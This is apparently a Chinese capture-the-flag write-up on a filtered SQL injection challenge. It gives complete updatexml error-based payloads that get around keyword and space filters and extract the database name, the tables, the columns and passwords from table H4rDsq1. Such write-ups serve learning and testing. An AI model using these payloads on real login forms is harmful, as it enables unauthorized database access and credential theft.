这个题过滤了些关键字：
大概是这些（736）
一开始不知道空格也被过滤了，后面吃了点亏。
过滤了的关键词，是不能用双写来绕过的。单纯的不能用了。
没有了union就不能使用联合注入。
这里使用简单的updatexml（）进行报错注入
用括号来代替空格
用or来代替and
1'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))%23&password=1
用like来代替“=”
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
用left和right来代替substr
1'or(updatexml(1,concat(0x7e,left((select(group_concat(password))from(H4rDsq1)),31),0x7e),1))%23&password=1
1'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),31),0x7e),1))%23&password=1